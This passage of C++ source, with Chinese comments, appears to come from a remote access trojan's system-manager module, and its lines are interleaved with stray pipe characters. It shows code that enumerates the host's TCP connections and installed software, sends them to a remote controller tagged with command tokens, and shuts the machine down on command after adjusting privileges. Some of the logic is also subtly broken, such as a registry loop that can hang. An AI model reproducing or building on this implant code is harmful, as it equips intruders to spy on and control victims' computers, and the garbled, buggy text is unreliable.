"SYN_RCVD",
|
||
"ESTABLISHED",
|
||
"FIN_WAIT1",
|
||
"FIN_WAIT2",
|
||
"ITMED_WAIT",
|
||
"CLOSING",
|
||
"LAST_ACK",
|
||
"TIME_WAIT",
|
||
"DELETE_TCB"
|
||
};
|
||
|
||
// 生成IP地址字符串.
|
||
PCHAR GetIP(unsigned int ipaddr)
|
||
{
|
||
static char pIP[20];
|
||
unsigned int nipaddr = htonl(ipaddr);
|
||
wsprintf(pIP, "%d.%d.%d.%d",
|
||
(nipaddr >>24) &0xFF,
|
||
(nipaddr>>16) &0xFF,
|
||
(nipaddr>>8) &0xFF,
|
||
(nipaddr)&0xFF);
|
||
return pIP;
|
||
}
|
||
|
||
|
||
|
||
LPBYTE CSystemManager::getTcpList()
|
||
{
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 0;
|
||
DWORD dwLength = 0;
|
||
|
||
char cLocalAddr[MAX_PATH] = {0};
|
||
char cLocalPort[MAX_PATH] = {0};
|
||
char cRemoteAddr[MAX_PATH] = {0};
|
||
char cRemotePort[MAX_PATH] = {0};
|
||
char cState[MAX_PATH] = {0};
|
||
DWORD dwState;
|
||
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 10240);
|
||
lpBuffer[0] = TOKEN_TSLIST;
|
||
dwOffset = 1;
|
||
|
||
DWORD dwSize = 10240;
|
||
BYTE pData[10240]; // 定义数据缓冲区且缓冲区大小为10240字节
|
||
MIB_TCPTABLE *pTCPTable = (MIB_TCPTABLE*)pData;
|
||
memset(pData,0,dwSize);
|
||
// 获取TCP列表信息
|
||
GetTcpTable(pTCPTable,&dwSize,TRUE);
|
||
|
||
// 读取TCP列表数据
|
||
for (DWORD i = 0; i < pTCPTable->dwNumEntries; i++)
|
||
{
|
||
wsprintf(cLocalAddr, "%s",GetIP(pTCPTable->table[i].dwLocalAddr)); // 本地IP地址
|
||
wsprintf(cLocalPort, "%d",htons((WORD)pTCPTable->table[i].dwLocalPort)); // 本地端口
|
||
wsprintf(cRemoteAddr, "%s",GetIP(pTCPTable->table[i].dwRemoteAddr)); // 远程IP地址
|
||
wsprintf(cRemotePort, "%d",htons((WORD)pTCPTable->table[i].dwRemotePort)); // 远程端口
|
||
dwState = pTCPTable->table[i].dwState; // 连接状态
|
||
if (dwState < 13)
|
||
{
|
||
wsprintf(cState,"%s",TcpState[dwState]);
|
||
}
|
||
|
||
dwLength = lstrlen(cLocalAddr) + lstrlen(cLocalPort) + lstrlen(cRemoteAddr) + lstrlen(cRemotePort)+ lstrlen(cState) + 5;
|
||
|
||
// 缓冲区太小,再重新分配下
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, cLocalAddr, lstrlen(cLocalAddr) + 1);
|
||
dwOffset += lstrlen(cLocalAddr) + 1;
|
||
|
||
memcpy(lpBuffer + dwOffset, cLocalPort, lstrlen(cLocalPort) + 1);
|
||
dwOffset += lstrlen(cLocalPort) + 1;
|
||
|
||
memcpy(lpBuffer + dwOffset, cRemoteAddr, lstrlen(cRemoteAddr) + 1);
|
||
dwOffset += lstrlen(cRemoteAddr) + 1;
|
||
|
||
memcpy(lpBuffer + dwOffset, cRemotePort, lstrlen(cRemotePort) + 1);
|
||
dwOffset += lstrlen(cRemotePort) + 1;
|
||
|
||
memcpy(lpBuffer + dwOffset, cState, lstrlen(cState) + 1);
|
||
dwOffset += lstrlen(cState) + 1;
|
||
}
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
|
||
return lpBuffer;
|
||
}
|
||
void CSystemManager::SendSoftList()
|
||
{
|
||
UINT nRet = -1;
|
||
LPBYTE lpBuffer = getSoftList();
|
||
if (lpBuffer == NULL)
|
||
return;
|
||
|
||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||
LocalFree(lpBuffer);
|
||
|
||
}
|
||
LPBYTE CSystemManager::getSoftList()
|
||
{
|
||
LPBYTE lpBuffer = NULL;
|
||
DWORD dwOffset = 0;
|
||
DWORD dwLength = 0;
|
||
|
||
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
|
||
|
||
lpBuffer[0] = TOKEN_rjLIST;
|
||
dwOffset = 1;
|
||
|
||
char szSubKey[MAX_PATH] = ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
|
||
HKEY hKey,hSubKey;
|
||
LONG lRetVal,lRetVal2;
|
||
DWORD nIndex = 0;
|
||
DWORD nNameLen = MAX_PATH; // 程序名长度
|
||
DWORD nDisplayLen = MAX_PATH; // 显示长度
|
||
DWORD nUninstallLen = MAX_PATH;
|
||
char szName[MAX_PATH],szDispayName[MAX_PATH],szUninstall[MAX_PATH];
|
||
lRetVal = RegOpenKeyEx(HKEY_LOCAL_MACHINE,szSubKey,0,KEY_ALL_ACCESS,&hKey); // 获取注册表信息
|
||
DWORD nAttribute = REG_BINARY|REG_DWORD|REG_SZ|REG_EXPAND_SZ|REG_MULTI_SZ|REG_NONE; // 设置属性
|
||
|
||
// 开始枚举
|
||
if (ERROR_SUCCESS == lRetVal)
|
||
{
|
||
lRetVal = RegEnumKeyEx(hKey,nIndex,szName,&nNameLen,0,NULL,NULL,0);
|
||
while(lRetVal != ERROR_NO_MORE_ITEMS)
|
||
{
|
||
nIndex++;
|
||
if (lstrcmpi(szName,"") == 0)
|
||
continue;
|
||
wsprintf(szUninstall,"%s\\%s",szSubKey,szName); // 得到全名
|
||
memset(szDispayName,0,MAX_PATH);
|
||
nDisplayLen = MAX_PATH;
|
||
lRetVal2 = RegOpenKeyEx(HKEY_LOCAL_MACHINE,szUninstall,0,KEY_ALL_ACCESS,&hSubKey); // 查找
|
||
if (lRetVal2 == ERROR_SUCCESS)
|
||
{
|
||
RegQueryValueEx(hSubKey,"DisplayName",0,&nAttribute,(LPBYTE)szDispayName,&nDisplayLen);
|
||
if (lstrcmpi(szDispayName,"") != 0)
|
||
{
|
||
dwLength = lstrlen(szDispayName) + 1;
|
||
// 缓冲区太小,再重新分配下
|
||
if (LocalSize(lpBuffer) < (dwOffset + dwLength))
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
|
||
memcpy(lpBuffer + dwOffset, szDispayName, dwLength - 1);
|
||
dwOffset += lstrlen(szDispayName) + 1;//添加文件名到列表
|
||
}
|
||
}
|
||
|
||
nNameLen = MAX_PATH;
|
||
memset(szName,0,MAX_PATH);
|
||
lRetVal = RegEnumKeyEx(hKey,nIndex,szName,&nNameLen,0,NULL,NULL,0);
|
||
}
|
||
}
|
||
|
||
RegCloseKey(hKey);
|
||
|
||
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||
|
||
return lpBuffer;
|
||
}
|
||
|
||
void CSystemManager::ShutdownWindows( DWORD dwReason )
|
||
{
|
||
DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
|
||
ExitWindowsEx(dwReason, 0);
|
||
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
|
||
} |